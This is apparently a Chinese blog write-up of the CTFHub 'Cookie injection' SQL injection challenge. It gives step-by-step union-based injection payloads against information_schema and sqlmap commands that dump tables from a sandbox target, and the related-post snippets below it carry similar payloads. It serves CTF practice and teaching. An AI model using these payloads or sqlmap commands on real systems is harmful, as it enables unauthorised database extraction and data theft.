CTFHUB-技能树-Web题-SQL注入-Mysql结构-Cookie注入

原创 已于 2024-05-09 21:14:09 修改 · 925 阅读 · 4 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
文章标签：

#前端 #sql #mysql

于 2024-04-05 21:31:51 首次发布
本文详细介绍了如何利用SQL注入技巧，如手工注入、brupsuit工具和sqlmap脚本，在Mysql结构中检测Cookie注入点，判断字段数，提取库名、表名、列名及数据。通过实际操作展示了爆库爆表爆列的过程。

技能树-Web题-SQL注入-Mysql结构-Cookie注入

文章目录

Mysql结构—Cookie注入
手工注入-使用brupsuit
判断注入点

这里其实可以将数据包放入重放器中进行

输入1 有回显

在这里插入图片描述

输入1 and 1=1 有回显

在这里插入图片描述

输入1 and 1=2 无回显

在这里插入图片描述

由此判断存在注入点

判断字段数
1 order by 3 无回显

在这里插入图片描述

1 order by 2  有回显

在这里插入图片描述

由此判断字段数为2

判断可回显字段数
-1 union select 1,2 回显出1，2

在这里插入图片描述

由此判断可回显字段为1，2字段

爆库名
-1 union select user(),database()

在这里插入图片描述
得到库名sqli

爆表名
-1 union select user(),group_concat(table_name) from information_schema.tables where table_schema=database()

在这里插入图片描述
得到两个表名，查看第一个表的字段

爆列名
-1 union select user(),group_concat(column_name) from information_schema.columns where table_name='begdigukje'

在这里插入图片描述

爆数据
-1 union select user(),xiswasakaq from begdigukje

在这里插入图片描述

得到flag

sqlmap(liunx)
爆库名
sqlmap -u http://challenge-8ee61e15fac62f2d.sandbox.ctfhub.com:10800/ --cookie "id=1" --level 2 --dbs  --batch

在这里插入图片描述

爆表名
sqlmap -u http://challenge-8ee61e15fac62f2d.sandbox.ctfhub.com:10800/ --cookie "id=1" --level 2  -D sqli --tables --batch

在这里插入图片描述

爆列名
sqlmap -u http://challenge-8ee61e15fac62f2d.sandbox.ctfhub.com:10800/ --cookie "id=1" --level 2 -D sqli -T oeqvuxbdhi --columns --batch

在这里插入图片描述

爆数据
sqlmap -u http://challenge-8ee61e15fac62f2d.sandbox.ctfhub.com:10800/ --cookie "id=1" --level 2 -D sqli -T oeqvuxbdhi -C pvyensfayg --dump --batch

在这里插入图片描述

得到flag

CTFHub - Cookie注入
Have_a_great_day的博客
09-10 1328
因为在CTFHub中web内SQL板块使用的是同一个数据库，所以列数是相同的。table_name='gzuhxxtsjy' ：选择表名为【gzuhxxtsjy】的表的数据。table_schema=database() ：选择当前连接的数据库(sqli)中的所有表。可以发现此处没有【flag】表，取而代之的是【gzuhxxtsjy】，查看该表中的列名。Cookie注入则是一种特定的SQL注入形式，它利用了应用程序中使用的Cookie来进行攻击。【news】表一直都存在，所以第一想法先不考虑此表中的内容。
CTFHUB-技能树-WEB-SQL注入
慢就是快
04-16 646
文章目录1.整数型注入2.字符型注入3.报错注入4.布尔注入5.时间盲注5.MYSQL结构6.Cookie 注入7.UA注入8.Referer注入9.过滤空格 1.整数型注入 ?id=-1 order by 2 --+ true # 两个字段 ?id=-1 order by 3 --+ false ?id=-1 union select 1,2 --+ --+ #说明存在两个显示位置，id=-1是为了将显示位置腾空，方便回显数据显示 id=-1 union select 1,group_concat(s
CTFHub | MySQL结构
尼泊罗河伯的博客
11-13 2326
根据网页显示内容输入1进行测试，此题可能存在 SQL 注入。此题与前一题类似，这次使用手工注入。先判断是否存在注入，发现存在注入后检查注入点。判断字段数量，然后检查数据库位置，知道数据库位置后查看数据库版本和数据库名。接着查看全部数据库名，并查看这些数据库的表名，最后在lvlbiqemvj 表中的数据发现此题 flag 。
CTFHub SQL注入通关笔记6：MySQL结构（手注法+脚本法）
最新发布
mooyuan的网络安全博客
10-08 824
本文通过两种方法（手注法+脚本法）对“CTFHub平台 SQL注入-MySQL结构”关卡进行渗透实战。首先介绍了MySQL系统数据库(information_schema、mysql、performance_schema)在注入攻击中的关键作用，以及常用内置函数(database()、version()等)。然后分步骤演示了手工注入方法：从识别注入点、确定列数、定位回显位，到获取数据库名、表名和字段名，最终提取目标数据。文章同样使用sqlmap工具自动化完成注入的完整流程，系统讲解参数的设置并对结果进行分。
# CTFhub MySQL结构
plant1234的博客
06-18 816
MySQL结构: 需要了解mysql的知识点： union select 联合查询，联合注入常用 database() 回显当前连接的数据库 version() 查看当前sql的版本如：mysql 1.2.3， mariadb-4.5.6 group_concat() 把产生的同一分组中的值用,连接，形成一个字符串 information_schema 存了很多mysql信息的数据库 information_schema.schemata information_schema库的一个表,名为schemata
CTFHub技能树之WEB MYSQL结构
weixin_48799157的博客
03-20 1595
小白一个，如有错误请指正！ 解法一： 1.这里还是老方法，输入 1， 2 ，3 ，得知字段有两个 2.爆数据库 select * from news where id=123 union select 1,database()# 3.爆表名 select * from news where id=123 union select 1,group_concat(table_name) from information_schema.tables where table_schema..
CTFHub-web(MySQL结构)
分享与记录
08-21 3108
1. 输入一个1，发现有两个注入点 2. 验证这两个注入点 0 union select 1,2 3. 从注入点得到数据库信息和数据库版本 0 union select database(),version() 4. 查询sqli数据库中的表 0 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli' 5. 查询表中的字段 0 union select
题解记录-CTFHub技能树|Web|SQL注入
weixin_57448435的博客
09-14 2646
数据库注入
ctfhub-web-sql-整型注入/字符型注入/报错注入/布尔盲注/时间盲注/mysql结构/cookie注入/ua注入
2301_80162151的博客
03-01 1033
id=1’ and sleep(5) --+，看网络有没有延迟，有的话就是存在时间盲注。（完全没变化的页面，这种情况我们可以利用时间函数来判断数据有没有在目标数据中得到执行。技能树的这些sql，肯定是存在，所以直接sqlmap获取库名。sqlmap -u url -D 库名 --tables。时间型的注入遇到的条件更为苛刻，数据交互完成以后目标网站。聚合函数也称作计数函数，返回查询对象的总数。判断页面是否正常，1=1和1=2是俩个页面。慢慢等一会，他有点慢，出现了库名sqli。函数 获取字符串的长度。
CTFHUB-web-SQL注入
ookami6497的博客
11-29 1061
CTFHUB SQL
CTFHUB-技能树-WEB通关
Alita_lxz的博客
11-11 7974
Web 题目来自ctfhub技能树web部分 Web前置技能 操作系统 数据库 HTTP协议 请求方式 HTTP 请求方法, HTTP/1.1协议中共定义了八种方法（也叫动作）来以不同方式操作指定的资源。 ​ 1.OPTIONS 　　返回服务器针对特定资源所支持的HTTP请求方法。也可以利用向Web服务器发送’*'的请求来测试服务器的功能性,如获取当前URL所支持的方法。若请求成功，则它会在HTTP头中包含一个名为“Allow”的头，值是所支持的方法，如“GET,POST”。 　2.HEAD 　　向服务
CTFHub-MYSQL结构-wp
z1moq的博客
05-16 259
MySQL结构 对注入条件进行测试 输入 1 时正常返回 输入 1’ 时无法正常返回 输入 1+1 时正常返回 id=2 的值 说明存在整数型SQL注入 使用 order by 检查字段数 字段数为 2 使用 1 union select 1,2,3 检查输出字段数 与order by 得出的结果相同 -1 union select 1,database() #得出表名：sqli -1 union select 1,group_concat(table_name) from informa
CTFHUB-技能树-Web题-SQL注入-Mysql结构
Static______的博客
04-04 1048
3.除了y和n，还有两个特殊选项。一个是a，表示alway，就是总是获取。一个是q，表示退出。4.不想手动选择，则在执行sqlmap的时候，加上–batch和–smart选项。在使用sqlmap过程中，经常需要用户进行选择，如[Y/n]。1.大写的为默认选项。如果不输入，就自动使用该选项。得到两个表名，爆第一个表的字段名看看有什么信息。2.我们输入时，不用区分大小写。得到一个字段名，看看有什么数据。1 and 1=1 有回显。1 and 1=2 无回显。
CTFHUB-SQL注入-MySQL结构
weixin_68416970的博客
06-13 675
本题用到sqlmap工具，没有sqlmap工具点击直达下载安装使用教程。
CTFHUB技能树之SQL——MySQL结构
weixin_73049307的博客
10-17 1489
1 and 1=2 union select 1,2#或者-1 union select 1,2#都行。没有发现数据，猜测数据可能不存在数据库中，修改注入语句。知道字段数量为2后，可以查看数据库位置。可以发现sqli不是自带的数据库。回显错误，说明是整数型注入。回显错误，说明字段数是2列。
MySQL结构、Cookie注入、UA注入、Refer注入 （ctfhub）
2401_82985722的博客
04-01 1159
User-Agent是Http协议中的一部分，属于头域的组成部分，（简称UA）。是一种向访问网站提供你所使用的浏览器类型、
【SQL使用工具sqlmap注入】CTFHub之mysql结构
zguohuai的博客
05-10 396
使用sqlmap进行数据注入
sql注入预计完全体
2303_81631620的博客
04-04 1197
Cookie是在HTTP协议下，服务器或脚本可以维护客户工作站上信息的一种方式。通常被用来辨别用户身份、进行session跟踪，最典型的应用就是保存用户的账号和密码用来自动登录网站。
PHP在CTF-Web挑战中的实战应用技巧
标题和描述中提到的知识点是关于在Web环境中使用PHP编程语言进行CTF（Capture The Flag）挑战的介绍。...在CTF-Web-Challenge的环境中，参赛者将有机会通过实战演练这些技术，提升自己的安全技能。
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
表情包 代码片
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

python炒粉

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值